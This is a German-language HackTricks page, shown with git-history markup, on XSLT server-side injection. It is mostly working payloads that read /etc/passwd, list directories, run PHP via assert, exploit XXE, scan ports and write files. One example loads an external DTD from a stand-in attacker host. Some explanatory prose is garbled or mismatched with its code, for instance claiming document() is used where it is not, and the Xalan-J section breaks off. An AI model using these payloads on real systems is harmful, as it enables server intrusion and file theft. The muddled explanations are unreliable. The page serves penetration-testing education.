hacktricks/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md

598 lines
31 KiB
Markdown
Raw Normal View History

2024-02-10 15:36:32 +00:00
# XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das [hacktricks repo](https://github.com/carlospolop/hacktricks) und das [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** senden.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 15:36:32 +00:00
## Grundlegende Informationen
2024-02-10 15:36:32 +00:00
XSLT ist eine Technologie, die zur Transformation von XML-Dokumenten in verschiedene Formate verwendet wird. Es gibt drei Versionen: 1, 2 und 3, wobei Version 1 am häufigsten verwendet wird. Der Transformationsprozess kann entweder auf dem Server oder im Browser ausgeführt werden.
2024-02-10 15:36:32 +00:00
Die am häufigsten verwendeten Frameworks sind:
2024-02-06 03:10:38 +00:00
2024-02-10 15:36:32 +00:00
- **Libxslt** von Gnome,
- **Xalan** von Apache,
- **Saxon** von Saxonica.
2024-02-06 03:10:38 +00:00
2024-02-10 15:36:32 +00:00
Für die Ausnutzung von Schwachstellen im Zusammenhang mit XSLT ist es erforderlich, dass xsl-Tags auf der Serverseite gespeichert und anschließend auf diesen Inhalt zugegriffen wird. Ein Beispiel für eine solche Schwachstelle ist in der folgenden Quelle dokumentiert: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
2021-06-07 11:31:39 +00:00
2024-02-10 15:36:32 +00:00
## Beispiel - Tutorial
2022-10-03 13:43:01 +00:00
```bash
2021-06-07 11:31:39 +00:00
sudo apt-get install default-jdk
2022-10-03 13:43:01 +00:00
sudo apt-get install libsaxonb-java libsaxon-java
2021-06-07 11:31:39 +00:00
```
{% code title="xml.xml" %}
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 11:31:39 +00:00
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
2024-02-10 15:36:32 +00:00
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
2021-06-07 11:31:39 +00:00
</catalog>
```
{% code title="xsl.xsl" %}
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 11:31:39 +00:00
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
2024-02-10 15:36:32 +00:00
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
2021-06-07 11:31:39 +00:00
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}
2024-02-10 15:36:32 +00:00
Ausführen:
2024-02-06 03:10:38 +00:00
```xml
saxonb-xslt -xsl:xsl.xsl xml.xml
2024-02-10 15:36:32 +00:00
2021-06-07 11:31:39 +00:00
Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
2024-02-10 15:36:32 +00:00
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
2021-06-07 11:31:39 +00:00
<html>
2024-02-10 15:36:32 +00:00
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
2021-06-07 11:31:39 +00:00
</html>
```
2024-02-10 15:36:32 +00:00
### Fingerabdruck
2021-06-07 11:31:39 +00:00
{% code title="detection.xsl" %}
2024-02-06 03:10:38 +00:00
```xml
2022-10-03 13:43:01 +00:00
<?xml version="1.0" encoding="ISO-8859-1"?>
2021-06-07 11:31:39 +00:00
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
2024-02-10 15:36:32 +00:00
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
2022-10-03 13:43:01 +00:00
/><br />
2024-02-10 15:36:32 +00:00
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
2022-10-03 13:43:01 +00:00
/><br />
2024-02-10 15:36:32 +00:00
</xsl:if>
2021-06-07 11:31:39 +00:00
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}
2024-02-10 15:36:32 +00:00
Und ausführen
2024-02-06 03:10:38 +00:00
```xml
2024-02-10 15:36:32 +00:00
$saxonb-xslt -xsl:detection.xsl xml.xml
2021-06-07 11:31:39 +00:00
Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
2024-02-10 15:36:32 +00:00
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
2021-06-07 11:31:39 +00:00
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
```
2024-02-10 15:36:32 +00:00
### Lokale Datei lesen
2021-06-07 11:31:39 +00:00
{% code title="read.xsl" %}
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 11:31:39 +00:00
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 11:31:39 +00:00
$ saxonb-xslt -xsl:read.xsl xml.xml
Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
2024-02-10 15:36:32 +00:00
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
2021-06-07 11:31:39 +00:00
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```
2022-10-03 13:43:01 +00:00
### SSRF
2021-06-07 11:31:39 +00:00
2024-02-10 15:36:32 +00:00
Server-Side Request Forgery (SSRF) ist eine Sicherheitslücke, bei der ein Angreifer eine Anwendung dazu bringt, Anfragen an andere interne oder externe Ressourcen durchzuführen. Dies geschieht normalerweise über eine schwach konfigurierte Funktion, die es ermöglicht, URLs als Eingabe zu akzeptieren und Anfragen an diese URLs zu senden.
Ein SSRF-Angriff kann verschiedene Auswirkungen haben, darunter:
- Zugriff auf interne Ressourcen wie Datenbanken, Dateisysteme oder andere Dienste, die normalerweise nicht öffentlich zugänglich sind.
- Scannen interner Netzwerke oder Portscans auf externe Ziele.
- Ausnutzung von Schwachstellen in internen Systemen oder Diensten.
Um einen SSRF-Angriff durchzuführen, muss der Angreifer normalerweise eine URL angeben, die von der Anwendung akzeptiert und an den Server gesendet wird. Der Angreifer kann dann die Antwort des Servers analysieren, um Informationen zu sammeln oder weitere Angriffe durchzuführen.
Es gibt verschiedene Techniken, um SSRF-Angriffe zu erkennen und zu verhindern, darunter:
- Validierung der Eingabe: Überprüfen Sie, ob die angegebene URL gültig ist und nur auf erlaubte Ressourcen verweist.
- Whitelisting: Erlauben Sie nur den Zugriff auf bestimmte URLs oder Ressourcen.
- Netzwerksegmentierung: Trennen Sie interne und externe Netzwerke, um den Zugriff auf interne Ressourcen zu beschränken.
- Sicherheitsupdates: Halten Sie Anwendungen und Systeme auf dem neuesten Stand, um bekannte Schwachstellen zu beheben.
Es ist wichtig, SSRF-Angriffe zu verstehen und geeignete Sicherheitsmaßnahmen zu ergreifen, um potenzielle Risiken zu minimieren.
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 11:31:39 +00:00
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
```
2024-02-10 15:36:32 +00:00
### Versionen
2021-06-07 11:31:39 +00:00
2024-02-10 15:36:32 +00:00
Je nach verwendeter XSLT-Version können mehr oder weniger Funktionen vorhanden sein:
2021-06-07 11:31:39 +00:00
* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
2024-02-10 15:36:32 +00:00
## Fingerabdruck
2024-02-10 15:36:32 +00:00
Laden Sie dies hoch und nehmen Sie Informationen auf
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
2024-02-10 15:36:32 +00:00
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
2024-02-10 15:36:32 +00:00
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
2024-02-10 15:36:32 +00:00
</xsl:if>
</xsl:template>
</xsl:stylesheet>
```
2022-10-03 13:43:01 +00:00
## SSRF
2020-09-04 15:35:33 +00:00
2024-02-10 15:36:32 +00:00
Server-Side Request Forgery (SSRF) ist eine Sicherheitslücke, bei der ein Angreifer eine Anwendung dazu bringt, Anfragen an andere interne oder externe Ressourcen durchzuführen. Dies kann dazu führen, dass vertrauliche Informationen offengelegt werden oder dass Angriffe auf interne Systeme ausgeführt werden.
Ein häufiger Angriffsvektor für SSRF ist die Verwendung von URL-Parametern, die von der Anwendung verarbeitet werden. Der Angreifer kann eine manipulierte URL bereitstellen, die es ihm ermöglicht, Anfragen an interne Ressourcen wie Datenbanken, Dateisysteme oder andere Dienste durchzuführen.
Um SSRF zu verhindern, sollten Entwickler Eingaben validieren und sicherstellen, dass sie nur auf erlaubte Ressourcen zugreifen können. Es ist auch wichtig, dass Anwendungen keine vertraulichen Informationen in Fehlermeldungen preisgeben.
Zusammenfassend ist SSRF eine Sicherheitslücke, bei der ein Angreifer eine Anwendung dazu bringt, unerwünschte Anfragen an interne oder externe Ressourcen durchzuführen. Entwickler sollten sicherstellen, dass Eingaben validiert werden und dass keine vertraulichen Informationen preisgegeben werden.
2024-02-06 03:10:38 +00:00
```xml
2020-09-04 15:35:33 +00:00
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>
```
2024-02-10 15:36:32 +00:00
## Javascript-Injektion
Eine Javascript-Injektion ist eine Technik, bei der bösartiger Javascript-Code in eine Webseite eingefügt wird, um unerwünschte Aktionen auszuführen. Dies kann dazu führen, dass vertrauliche Informationen gestohlen, Benutzer umgeleitet oder schädlicher Code ausgeführt wird.
### Arten von Javascript-Injektionen
Es gibt verschiedene Arten von Javascript-Injektionen, darunter:
- Reflected XSS (Cross-Site Scripting): Hier wird der bösartige Javascript-Code in die URL einer Webseite eingefügt und vom Server reflektiert.
- Stored XSS (Cross-Site Scripting): Hier wird der bösartige Javascript-Code in einer Datenbank oder einem anderen Speichermedium gespeichert und bei jedem Aufruf der Webseite ausgeführt.
- DOM-basierte XSS (Cross-Site Scripting): Hier wird der bösartige Javascript-Code direkt im DOM (Document Object Model) der Webseite ausgeführt.
### Auswirkungen von Javascript-Injektionen
Javascript-Injektionen können schwerwiegende Auswirkungen haben, darunter:
2020-09-04 15:35:33 +00:00
2024-02-10 15:36:32 +00:00
- Diebstahl von Benutzerdaten wie Anmeldedaten, Kreditkarteninformationen usw.
- Umleitung von Benutzern auf bösartige Webseiten oder Phishing-Seiten.
- Ausführung von schädlichem Code auf dem Gerät des Benutzers, was zu weiteren Angriffen führen kann.
2024-02-10 15:36:32 +00:00
### Schutz vor Javascript-Injektionen
Um sich vor Javascript-Injektionen zu schützen, sollten folgende Maßnahmen ergriffen werden:
- Eingabevalidierung: Überprüfen Sie alle Benutzereingaben auf unerwünschte Zeichen oder Muster.
- Ausgabevalidierung: Überprüfen Sie alle ausgehenden Daten auf unerwünschte Zeichen oder Muster.
- Verwendung von Content Security Policy (CSP): CSP ermöglicht es Ihnen, festzulegen, welche Ressourcen auf einer Webseite geladen werden dürfen und welche nicht.
- Aktualisierung von Software und Bibliotheken: Halten Sie Ihre Software und Bibliotheken auf dem neuesten Stand, um bekannte Sicherheitslücken zu schließen.
### Fazit
Javascript-Injektionen sind eine ernsthafte Bedrohung für Webseiten und Benutzer. Durch die Implementierung geeigneter Sicherheitsmaßnahmen können Sie das Risiko von Javascript-Injektionen minimieren und Ihre Webseite und Benutzer schützen.
2024-02-06 03:10:38 +00:00
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>
```
2024-02-10 15:36:32 +00:00
## Verzeichnis auflisten (PHP)
2022-10-03 13:43:01 +00:00
### **Opendir + readdir**
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>
```
2022-10-03 13:43:01 +00:00
### **Assert (var\_dump + scandir + false)**
2024-02-10 15:36:32 +00:00
Die `assert`-Funktion in PHP wird normalerweise verwendet, um eine Bedingung zu überprüfen und einen Fehler auszulösen, wenn die Bedingung falsch ist. In einigen Fällen kann sie jedoch auch für Server Side Injection (SSI) verwendet werden.
Eine Möglichkeit, SSI mit `assert` durchzuführen, besteht darin, die Funktion `var\_dump` zu verwenden, um den Inhalt einer Variablen anzuzeigen. Durch die Kombination von `var\_dump` mit der Funktion `scandir` können wir den Inhalt eines Verzeichnisses auf dem Server anzeigen lassen.
Um SSI mit `assert` durchzuführen, können wir den folgenden Code verwenden:
```php
assert(var_dump(scandir('/pfad/zum/verzeichnis')));
```
Dieser Code gibt den Inhalt des angegebenen Verzeichnisses aus. Wenn wir jedoch das Schlüsselwort `false` an `assert` übergeben, wird der Code nach dem `assert`-Statement nicht mehr ausgeführt. Dies kann nützlich sein, um unerwünschte Ausgaben zu verhindern.
```php
assert(var_dump(scandir('/pfad/zum/verzeichnis'))) or die();
```
In diesem Fall wird der Code nach dem `assert`-Statement nicht ausgeführt, wenn das Verzeichnis nicht existiert oder nicht gelesen werden kann.
Es ist wichtig zu beachten, dass die Verwendung von `assert` für SSI gefährlich sein kann, da sie potenziell schädlichen Code auf dem Server ausführen kann. Es wird empfohlen, diese Technik nur in kontrollierten Umgebungen oder zu Schulungszwecken zu verwenden.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
2024-02-10 15:36:32 +00:00
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>
```
2024-02-10 15:36:32 +00:00
### **Intern - PHP**
2024-02-10 15:36:32 +00:00
XSLT (Extensible Stylesheet Language Transformations) ist eine Sprache, die verwendet wird, um XML-Dokumente in andere Formate zu transformieren. In einigen Fällen kann XSLT auch verwendet werden, um Dateien auf dem Server zu lesen.
2024-02-10 15:36:32 +00:00
Um Dateien mit XSLT zu lesen, können Sie die `document()`-Funktion verwenden. Diese Funktion ermöglicht es Ihnen, eine externe Datei zu öffnen und deren Inhalt abzurufen. Sie können die `document()`-Funktion verwenden, um auf lokale Dateien zuzugreifen, indem Sie den Dateipfad angeben.
2021-06-07 11:31:39 +00:00
2024-02-10 15:36:32 +00:00
Hier ist ein Beispiel für die Verwendung der `document()`-Funktion, um eine Datei mit PHP zu lesen:
```php
<?php
$xml = '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xsl:stylesheet [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:value-of select="php:function(\'base64_decode\', $file)"/>
</xsl:template>
</xsl:stylesheet>';
$proc = new XSLTProcessor();
$proc->importStylesheet(new SimpleXMLElement($xml));
echo $proc->transformToXML(new SimpleXMLElement('<foo/>'));
?>
```
In diesem Beispiel wird die `document()`-Funktion verwendet, um die Datei `/etc/passwd` zu lesen. Der Inhalt der Datei wird dann mit der `base64_decode()`-Funktion dekodiert und ausgegeben.
Es ist wichtig zu beachten, dass diese Technik nur funktioniert, wenn der Server XSLT-Transformationen zulässt und die `document()`-Funktion nicht deaktiviert ist. Darüber hinaus müssen Sie über die erforderlichen Berechtigungen verfügen, um auf die gewünschte Datei zuzugreifen.
Es ist auch wichtig zu beachten, dass das Lesen von Dateien auf dem Server ohne Zustimmung des Eigentümers illegal ist und zu rechtlichen Konsequenzen führen kann. Diese Technik sollte nur zu legitimen Zwecken und mit Zustimmung des Eigentümers verwendet werden.
2024-02-06 03:10:38 +00:00
```xml
2021-06-07 11:31:39 +00:00
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', utf-8')"/>
</xsl:template>
</xsl:stylesheet>
```
2024-02-10 15:36:32 +00:00
### **Intern - XXE**
Eine XXE (XML External Entity) ist eine Sicherheitslücke, die es einem Angreifer ermöglicht, externe Entitäten in eine XML-Verarbeitung einzufügen. Dies kann zu verschiedenen Angriffen führen, wie z.B. dem Lesen von Dateien auf dem Server, dem Durchführen von Port-Scans oder dem Ausführen von Remote-Code.
#### **Exploit-Techniken**
Es gibt verschiedene Techniken, um eine XXE-Verwundbarkeit auszunutzen:
1. **Blind XXE**: Der Angreifer kann die Antwort des Servers nicht direkt sehen, aber er kann indirekte Hinweise erhalten, indem er die Antwortzeit oder die Größe der Antwort analysiert.
2. **Parameterentwicklung**: Der Angreifer kann die Parameter des XML-Dokuments manipulieren, um die gewünschten Informationen zu erhalten.
3. **Out-of-Band (OOB) XXE**: Der Angreifer nutzt eine externe Entität, um Informationen über einen anderen Kanal abzurufen, z.B. über DNS-Anfragen oder HTTP-Anfragen an einen von ihm kontrollierten Server.
#### **Gegenmaßnahmen**
2021-06-07 11:31:39 +00:00
2024-02-10 15:36:32 +00:00
Um sich vor XXE-Angriffen zu schützen, sollten folgende Maßnahmen ergriffen werden:
2024-02-10 15:36:32 +00:00
1. **XML-Parser konfigurieren**: Konfigurieren Sie den XML-Parser so, dass externe Entitäten deaktiviert sind.
2. **Input-Validierung**: Überprüfen Sie alle Benutzereingaben, die in XML-Dokumente eingefügt werden, um sicherzustellen, dass sie keine schädlichen Entitäten enthalten.
3. **Content-Security-Policy (CSP)**: Verwenden Sie eine Content-Security-Policy, um die Ausführung von Skripten von nicht vertrauenswürdigen Quellen zu blockieren.
4. **Aktualisieren Sie Ihre Software**: Halten Sie Ihre Software auf dem neuesten Stand, um bekannte Sicherheitslücken zu schließen.
#### **Zusammenfassung**
Eine XXE-Schwachstelle ermöglicht es einem Angreifer, externe Entitäten in eine XML-Verarbeitung einzufügen und verschiedene Angriffe durchzuführen. Um sich vor XXE-Angriffen zu schützen, sollten XML-Parser konfiguriert, Eingaben validiert, Content-Security-Policies verwendet und Software regelmäßig aktualisiert werden.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>
```
2024-02-10 15:36:32 +00:00
### **Durch HTTP**
XSLT Server Side Injection (XSSI) ist eine Technik, bei der ein Angreifer bösartigen XSLT-Code in eine Anfrage an einen Server einschleust, um serverseitige Aktionen auszuführen. Dies kann durch eine Schwachstelle in der Verarbeitung von XML-Daten oder durch die direkte Verwendung von XSLT-Dateien ermöglicht werden.
Ein möglicher Angriffsvektor für XSSI ist die Übermittlung von XML-Daten über HTTP. Der Angreifer kann den XML-Inhalt so manipulieren, dass er bösartigen XSLT-Code enthält. Wenn der Server die XML-Daten verarbeitet und eine XSLT-Transformation durchführt, wird der bösartige Code ausgeführt.
2024-02-10 15:36:32 +00:00
Um XSSI über HTTP durchzuführen, müssen Sie zunächst die Schwachstelle identifizieren, die es ermöglicht, bösartigen XSLT-Code einzuschleusen. Dies kann beispielsweise eine unzureichende Validierung der XML-Daten oder eine unsichere Verwendung von XSLT-Dateien sein.
2024-02-10 15:36:32 +00:00
Sobald Sie die Schwachstelle identifiziert haben, können Sie den bösartigen XSLT-Code in die XML-Daten einfügen und die Anfrage an den Server senden. Der Server wird dann den Code ausführen und die gewünschten serverseitigen Aktionen ausführen.
Es ist wichtig zu beachten, dass XSSI ein potenziell gefährlicher Angriff ist und nur zu Testzwecken oder mit ausdrücklicher Zustimmung des Eigentümers des Servers durchgeführt werden sollte. Unbefugtes XSSI kann zu unbefugtem Zugriff auf Daten oder zur Kompromittierung des Servers führen.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
```
2024-02-06 03:10:38 +00:00
```xml
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>
```
2024-02-10 15:36:32 +00:00
### **Intern (PHP-Funktion)**
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
```
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
2024-02-10 15:36:32 +00:00
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>
```
2024-02-10 15:36:32 +00:00
### Portscan
2024-02-10 15:36:32 +00:00
Ein Portscan ist ein Verfahren, bei dem die offenen Ports eines Zielsystems ermittelt werden. Dies ermöglicht es einem Angreifer, potenzielle Schwachstellen zu identifizieren und Angriffe auf das System vorzubereiten. Es gibt verschiedene Tools und Techniken, die für einen Portscan verwendet werden können, darunter Nmap, Masscan und Zmap. Ein Portscan kann entweder als Teil einer Penetrationstest- oder Sicherheitsüberprüfungsaktivität durchgeführt werden, oder von einem Angreifer, der versucht, unautorisierten Zugriff auf ein System zu erlangen. Es ist wichtig zu beachten, dass das Durchführen eines Portscans ohne Zustimmung des Eigentümers des Zielsystems illegal sein kann.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>
```
2024-02-10 15:36:32 +00:00
## Schreiben in eine Datei
2022-10-03 13:43:01 +00:00
### XSLT 2.0
2024-02-10 15:36:32 +00:00
XSLT 2.0 bietet die Möglichkeit, Daten in eine Datei zu schreiben. Dies kann nützlich sein, um Informationen zu speichern oder Ergebnisse zu protokollieren. Um Daten in eine Datei zu schreiben, können Sie die `xsl:result-document` Anweisung verwenden.
Die Syntax für die `xsl:result-document` Anweisung lautet wie folgt:
```xml
<xsl:result-document href="pfad/zur/datei">
<!-- Inhalt der Datei -->
</xsl:result-document>
```
Der `href`-Attribut gibt den Pfad zur Datei an, in die geschrieben werden soll. Sie können entweder einen absoluten Pfad oder einen relativen Pfad angeben. Der Inhalt der Datei wird innerhalb der `xsl:result-document` Anweisung platziert.
Beispiel:
```xml
<xsl:result-document href="output.txt">
<xsl:text>Hallo, Welt!</xsl:text>
</xsl:result-document>
```
In diesem Beispiel wird der Text "Hallo, Welt!" in die Datei "output.txt" geschrieben.
2024-02-06 03:10:38 +00:00
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>
```
2024-02-10 15:36:32 +00:00
### **Xalan-J Erweiterung**
Die Xalan-J Erweiterung ist eine leistungsstarke Funktion, die in der Extensible Stylesheet Language Transformations (XSLT) verwendet wird. Xalan-J ist eine Java-basierte Implementierung von XSLT und bietet eine Vielzahl von Funktionen und Erweiterungen, die Entwicklern helfen, komplexe Transformationen auf XML-Daten durchzuführen.
Eine der nützlichsten Erweiterungen von Xalan-J ist die Möglichkeit, serverseitige Injektionen durchzuführen. Mit dieser Technik können Angreifer bösartigen Code in XSLT-Dateien einfügen, um auf vertrauliche Informationen zuzugreifen oder die Funktionalität der Anwendung zu manipulieren.
2024-02-10 15:36:32 +00:00
Um eine XSLT-Datei mit einer serverseitigen Injektion zu erstellen, muss der Angreifer die Schwachstellen in der Anwendung identifizieren, die XSLT-Dateien verarbeiten. Dies kann beispielsweise durch das Ausnutzen von unsicheren Eingabefeldern oder fehlerhaften Validierungen erfolgen.
2024-02-10 15:36:32 +00:00
